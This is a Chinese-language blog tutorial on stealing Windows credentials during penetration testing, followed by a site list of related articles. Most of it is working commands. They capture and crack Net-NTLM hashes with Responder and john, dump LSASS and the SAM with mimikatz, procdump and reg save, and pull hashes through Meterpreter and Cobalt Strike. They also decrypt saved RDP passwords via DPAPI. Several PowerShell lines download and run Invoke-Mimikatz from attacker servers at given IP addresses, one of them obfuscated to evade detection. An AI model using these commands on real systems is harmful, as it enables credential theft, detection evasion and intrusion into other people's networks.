渗透测试-Windows密码凭证获取

最新推荐文章于 2024-03-22 01:11:25 发布
最新推荐文章于 2024-03-22 01:11:25 发布
阅读量2.3k 收藏 2
点赞数 3
分类专栏： 内网渗透 文章标签： 安全 网络安全 cobalstrike 密码凭证 Hash
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61503377/article/details/126366819
版权

密码凭证获取姿势

Windows密码凭证获取

Windows认证基础

Windows的认证包括三个部分：

  1. 本地认证：用户直接操作计算机登录账户
  2. 网络认证：远程连接到工作组中的某个设备
  3. 域认证：登陆到域环境中的某个设备

Windows本地认证

  1. 用户输入密码
  2. 系统收到密码后将用户输入的密码计算成NTLM Hash
  3. 与sam数据库（%SystemRoot%\system32\config\sam）中该用户的哈希比对
  4. 匹配则登陆成功，不匹配则登陆失败

NTLM哈希，是一种单向哈希算法，Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。

本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存，供该进程将密码计算成 NTLM Hash 与 sam 进行比对，我们使用 mimikatz 来获取的明文密码，便是在这个进程中读取到的。

Windows网络认证

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。

NTLM 协议的认证过程分为三步，也叫挑战相应机制：

1.协商
双方确定使用的协议版本， NTLM 存在V1和V2两个版本，即 Net-NTLM v1 hash 、Net-NTLM v2 hash 具体区别就是加密方式不同

在 NTLM 认证中， NTLM 响应分为 NTLM v1 ， NTLMv2 ， NTLM session v2 三种协议，不同协议使用不同格式的 Challenge 和加密算法

2.质询
挑战（Chalenge）/ 响应（Response）认证机制的核心

  1. 客户端向服务器端发送用户信息(用户名)请求
  2. 服务器接受到请求后，判断本地用户列表是否存在客户端发送的用户名，如果没有返回认证失败，如果有，生成一个16位的随机数，被称之为" Challenge "， 然后使用登录用户名对应的 NTLMHash 加密Challenge(16位随机字符)， 生成 Challenge1 保存在内存中。同时，生成 Challenge1后，将Challenge(16位随机字符)明文发送给客户端。
  3. 客户端接受到 Challenge 后，使用自己提供的账户的密码转换成对应的 NTLM Hash ，然后使用这个 NTLM Hash 加密 Challenge 生成 Response ，然后将 Response 发送至服务器端。

3.验证

在质询完成后，验证结果，是认证的最后一步。

服务端收到客户端发送的 Response 后，与之前保存在内存中的 Channelge1 比较，如果相等认证通过
其中，经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash （不能直接用来进
行哈希传递攻击，但可以通过暴力破解来获取明文密码）
其中的关键点在于：第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果，而这个 NTLM 哈
希是由用户输入的密码本地计算得出的，所以在这个步骤中，只要能提供正确的 NTLM 哈希即使不知道
正确的密码也可通过认证。

Net-ntlm hash破解

  1. 在kali运行工具responder。
    监听eth0端口流量。
responder -I eth0 -v -r -f

在这里插入图片描述

  1. 如果内网的目标机器输入了错误的命令，就会通过其他协议在局域网内请求，我们就可以截取Net-ntlm hash。

在这里插入图片描述

  1. 将截取的hash写入hash.txt，运行john。
    在这里插入图片描述john --format=netntlmv2 hash.txt
    在这里插入图片描述

系统用户凭证获取

mimikatz

mimikatz for Win10下载：

https://github.com/gentilkiwi/mimikatz/releases

本地非交互式凭证获取：

mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

在这里插入图片描述

在这里插入图片描述

2.0

privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码

1.X

privilege::debug //提升权限
inject::process lsass.exe sekurlsa.dll //注入 sekurlsa.dll 到 lsass.exe 进程里
@getLogonPasswords //获取密码

mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit

Powershell脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1

https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1

https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mimikatz.ps1

Powershell本地加载mimikatz脚本：

powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'  #提权=>导出明文密码

在这里插入图片描述

powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'  # 提权=>导入数据库，ntlmhash密文

在这里插入图片描述

Powershell远程加载mimikatz脚本：

  1. 上传脚本到vps，在文件所在目录开启http服务。
python3 -m http.server

在这里插入图片描述

  1. 运行powershell命令，加载mimikatz脚本。
powershell IEX (New-Object Net.WebClient).DownloadString('http://vps-ip:8000/InvokeMimikatz.ps1');Invoke-Mimikatz –DumpCred

在这里插入图片描述

powershell混淆：

powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvokeMimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

在这里插入图片描述

Powershell 加载 Get-PassHashes脚本：
脚本下载地址：

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
  1. 上传脚本到vps，在文件所在目录开启http服务。
python3 -m http.server

在这里插入图片描述

  1. 在目标机器执行命令，得到用户和hash。
powershell IEX(new-object net.webclient).downloadstring('http://1.15.132.67:8000/GetPassHashes.ps1');Get-PassHashes

在这里插入图片描述

procdump+mimikatz

Procdump下载：

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出:

For 32bits：

procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits：

procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

在这里插入图片描述

然后使用 mimikatz 还原密码：

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

在这里插入图片描述

注册表导出Hash

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

在这里插入图片描述
mimikatz：导出ntlmhash。

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

在这里插入图片描述

impacket：

https://github.com/SecureAuthCorp/impacket/tree/master/examples

将生成的三个文件放到脚本目录下：
在这里插入图片描述

python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

在这里插入图片描述

Meterpreter获取Hash

Hashdump

方法一

先上线一个会话到msf。
在这里插入图片描述

查看用户权限是否为system，不是的话进行提权，提权后，使用hashdump模块导出hash值。在这里插入图片描述
将hash值放到第三方页面读取明文密码。
在这里插入图片描述

方法二

使用post/windows/gather/smart_hashdump模块导出hash。
在这里插入图片描述Hash格式： 用户名称:RID:LM-HASH值:NTLM-HASH值

mimikatz
方法三

load kiwi  //加载模块
creds_all //列举系统中的明文密码
lsa_dump_sam //读取sam文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd命令后面接mimikatz的命令

在这里插入图片描述

在这里插入图片描述

CobaltStrike获取Hash

前提上线cs。
在这里插入图片描述

 hashdump

在这里插入图片描述

 logonpasswords

在这里插入图片描述

 mimikatz sekurlsa::logonpasswords

在这里插入图片描述

其他密码凭证获取

RDP连接密码解密

mimikatz

  1. 查看本地机器本地连接过的目标机器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

在这里插入图片描述
我的没有连接过。

  1. 查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsof\Credentials\*

在这里插入图片描述

  1. 查看保存在本地的远程主机信息
cmdkey /list

在这里插入图片描述

  1. 选择一个密码文件对其进行解密。
    此处需要记录下 guidMasterKey 的值，待会要通过 guidMasterKey 找对应的 Masterkey 。
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

在这里插入图片描述

  1. 查看保存在本地的远程主机信息
cmdkey /list

在这里插入图片描述

  1. 选择步骤四一个密码文件对其进行解密。
    此处需要记录下 guidMasterKey 的值，待会要通过 guidMasterKey 找对应的 Masterkey 。
privilege::debug

dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\密码文件名

在这里插入图片描述

记录值guidMasterKey : {34dc48bb-0af9-4925-bf07fakhsdjahsdja}

  1. 根据 guidMasterKey 找到对应的 Masterkey。
sekurlsa::dpapi

在这里插入图片描述

  1. 通过 Masterkey 解密 pbData 数据，拿到明文 RDP 连接密码。
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\1密码文件 /masterkey:masterkey对应的值

在这里插入图片描述

在这里插入图片描述

Powershell脚本获取RDP连接记录

脚本下载地址  https://github.com/3gstudent/List-RDP-Connections-History.git

powershell -exec bypass .\ListLogged-inUsers.ps1

在这里插入图片描述
上线cs。

shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

在这里插入图片描述
由于没有远程连接过，下面只赘述步骤，不进行演示，有连接记录的话可以操作。

shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

 shell cmdkey /list

mimikatz "privilege::debug" "dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\文件名" "exit"

Mysql数据库密码破解

一旦获取了网站一定的权限后，如果能够获取MySQL中保存用户数据，通过解密后，即可通过正常途径来访问数据库；一方面可以直接操作数据库中的数据，另一方面可以用来提升权限。

MySQL数据库用户密码跟其它数据库用户密码一样，在应用系统代码中都是以明文出现的，在获取文件读取权限后即可直接从数据库连接文件中读取。

一般都包含有数据库类型，物理位置，用户名和密码等信息

MYSQL数据库文件类型

MYSQL数据库文件共有 frm 、 MYD 和 MYI 三种文件；

“.frm” 是描述表结构的文件

“.MYD” 是表的数据文件

“.MYI” 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中

与用户有关的一共有三个文件即 user.frm 、 user.MYD 和 user.MYI ，MYSQL数据库用户密码都保存
在 user.MYD 文件中，包括root用户和其他用户的密码。

Mysql加密方式

MYSQL数据库的认证密码有两种方式：
MYSQL 4.1版本之前是MYSQL323加密，MYSQL 4.1和之后的版本都是MYSQLSHA1加密

MYSQL数据库中自带 Old_Password(str) 和 Password(str) 函数,它们均可以在MYSQL数据库里进
行查询，前者是 MYSQL323 加密，后者是 MYSQLSHA1 方式加密。

mysql> select Password('root');
+-------------------------------------------+
| Password('root') |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set

MYSQL323 加密中生成的是16位字符串，而在 MYSQLSHA1 中生成的是41位字符串，其中 * 是不加入实际的密码运算中， MYSQLSHA1 加密的密码的实际位数是40位。

获取Mysql数据库密码hash值
用winhex编辑器打开user.MYD文件，使用二进制模式查看，即可得到密码值：
在这里插入图片描述

Hash破解

在线网站破解

www.cmd5.com
www.somd5.com

上边已有Hash破解方法，这里不做赘述。

其他应用程序密码破解
https://github.com/uknowsec/SharpDecryptPwd
对密码已保存在 Windwos 系统上的部分程序进行解析,包括：
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品（Xshell,Xftp)。
源码：
https://github.com/RowTeam/SharpDecryptPwd

曲折上升
关注
  • 3
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
获取Windows明文密码的小技巧
09-22 1142
在实战中，拿到一台Windows服务器权限，如果可以直接获取Windows明文密码的话，就可以更容易深入挖掘。本文分享几个获取Windows明文密码的技巧，简单直接且有效。01、Procd...
信息安全与渗透测试-网络安全
最新发布
04-23
计算机技术是指评价计算机系统的各种知识和技能的总称。它涵盖了计算机硬件、软件、网络和信息安全等方面。计算机技术的发展使我们能够进行高效的数据处理、信息存储和传输。现代计算机技术包括操作系统、数据库管理、编程语言、算法设计等。同时，人工智能、云计算和大数据等新兴技术也在不断推动计算机技术的进步。计算机技术的应用广泛，涵盖了各个领域，如商业、医疗、教育和娱乐等。随着计算机技术的不断革新，我们可以更加高效地实现预期自动化、标准化
内网渗透Windows密码凭证获取
qq_46258964的博客
06-09 2578
记录一下抓取window凭证信息的一些工具 Windows凭证抓取1，procdump (官方工具无视免杀)（首选） procdump + mimikatz 加载dmp文件，并导出其中的明文密码(procdump过杀软) 2，注册表读取windows hash (首选) 当目标为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，但可以通过修改注册表的方式抓取明文。 注册表读取密码主要获取的是3个文件 3，Pwdump 4，mimikatz(名声最大的密码获取工具) 5，MSF MSF框架密
Windows抓取密码的四种方式&&其他各类密码抓取
huohaowen的博客
03-22 1154
对于Windows（不是域环境）我们有四种方法去抓取它的密码在这次的blog，我们还是用的mimkatz。
windows密码获取凭证
weixin_67503304的博客
12-20 1761
简单讲述了windows密码获取凭证的几种常见方式方法
Windows域内密码凭证获取 (ﾟ益ﾟメ) 渗透测试
weixin_57543652的博客
03-03 308
和我们常规Windows电脑不同的是,域中的账户密码采用的是集中管理而非本地模式,所以一旦我们拿到了域控(DC),就可以拿到域中所有用户的口令。注:下方所有演示的目标机是在一台域控中进行的,我们常规电脑和域中非域控电脑都无法进行下列操作!
Windows密码凭证获取学习
crowsec
08-08 4185
一般来说，在我们获取到Windows的system权限之后，一般都喜欢去看下密码，哪怕是hash，也想尝试去解一下，Windows下的安全认证机制总共有两种，一种是基于NTLM的认证方式，主要用在早期的Windows工作组环境中；另一种是基于Kerberos的认证方式，主要用在域环境中。...
查看Windows凭据和普通凭据的密码（查看Windows中存储的密码）——mimikatz
热门推荐
一碗单炒饭的专栏
02-10 5万+
使用mimikatz进行Windows中存储的密码查看 查看Windows为你管理的凭据 路径：控制面板\所有控制面板项\凭据管理器 软件下载 https://github.com/gentilkiwi/mimikatz/releases 下载完成后，以管理员方式运行mimikatz 查看Windows凭据 输入下方两个指令(#号后面的) mimikatz # privilege::debug...
获取rdp保存的凭证
weixin_44747030的博客
12-23 1392
获取rdp保存的凭证
内网渗透 | 最全的内网凭据密码收集方法和技巧总结
Ms08067安全实验室
02-03 6174
内网凭据密码收集指南原创投稿作者：深蓝实验室天威战队前言在攻防场景下，红队人员拿下一台终端或服务器后，第一步要做的往往就是信息收集，为最大化利用权限，扩大战果，密码抓取必不可少，这里针对常见应用软件和系统等密码抓取做了记录和总结，希望能帮助你作为参考。RDP凭证本机RDP密码抓取本机RDP密码是一个我们常遇到的场景，通常使用mimikatz抓取RDP密码。当系统为win10或2012R2以上时，默...
渗透测试-信息收集栏目
09-26
渗透测试最开始的部分——信息收集
网络安全-Windows操作系统渗透测试-中高职业院校（视频教程解析）
12-18
护与渗透，具有分析、处理现场安全问题的能力，促进学生团队 协作实践能力，引导中等职业学校关注网络安全技术发展趋势和 产业应用方向，促进专业建设与教学改革；推进中职学校与相关 企业的合作，更好地实现工学...
安全测试-渗透测试-不安全的http方法问题及解决方案.doc
09-10
安全测试-渗透测试-不安全的http方法问题及解决方案.doc
P10-经典赛题-Windows操作系统渗透测试.docx
03-29
中职网络安全赛题解析，Windows操作系统渗透测试解析，P系列资料。
获取主机RDP连接凭据
yy
02-09 1081
为了避免每次连接服务器都进行身份验证，经常使用RDP的用户可能勾选保存连接凭据，以便进行快速的身份验证。使用找到的Masterkey的值破解指定的凭据文件6A538A1931101CE75C0D949EF75C9CDC，如下成功破解，得到rdp明文。得到的pbData就是凭据的加密数据，guidMasterKey是该凭据的GUID，记录guidMasterKey的值。如下，Credentials目录下保存了一个历史连接凭据，但其中的凭据是加密的。获取rdp加密凭据中的guidMasterKey值。
windows忘了密码以及后渗透读取密码
帅醉了的博客
03-31 331
windows内存读取 使用quarkspwdump也可有获得 使用mimikatz也可以破解 privilege::debug sekurlsa::logonpasswords 拿到hash并且给出了密码
Windows获取密码及hash
LuckySec
05-04 3193
前言 在拿到一台 Windows 的管理员权限以后，可以通过多种方法获取 Windows 系统的明文密码或者 hash 值，这将有利于我们在内网中扩大渗透范围。 0x01 Mimikatz Mimikat是一个法国人写的轻量级调试器。Mimikat可以从内存中提取纯文本密码，hash，PIN码和kerberos票证。 下载地址：https://github.com/gentilkiwi/mimikatz 将Mimikatz上传至受害目标系统上，然后执行如下命令： # cmd命令执行启动程序 mimika
获取windows凭证管理器明文密码
weixin_30897079的博客
04-26 1万+
1.运行cmdkey /list查看windows保存凭证 方法1.mimikaz mimikatz vault::cred 2.利用powershell尝试获取 windows 普通凭据类型中的明文密码 powershell-import F:\tools\powershell脚本\Invoke-WCMDump.ps1 powershell Invoke-WCMDd...
内网渗透之linux&windows密码读取&haschcat破解&ssh&rdp
m0_62207170的博客
05-12 1431
内网渗透之linux&windows密码读取&haschcat破解&ssh&rdp
2020网络安全-web渗透测试-2 下载 老男孩
08-16
《老男孩》是一部2003年上映的中国电影，由导演成龙执导，陈坤和蒋雯丽主演。影片讲述了艰难的求学经历与友情的故事，以及主人公的成长与自我超越。 根据您的问题，我们推测"老男孩"可能是一个软件或文档的名称。然而，根据我们提供的信息，我们无法确定具体指的是什么。在网络安全领域中，"web渗透测试"是指通过模拟攻击的方式，评估网站和应用程序的安全性，以发现潜在的漏洞和弱点。而"下载"是指从互联网上获取、复制或存储文件到本地设备的行为。 因此，根据我们的理解，您可能指的是"老男孩"与网络安全、渗透测试或下载之间的关联。然而，根据我们提供的信息，我们无法准确回答您的问题。如果您有更多细节或信息提供给我们，我们将尽力帮助您解答。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曲折上升

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值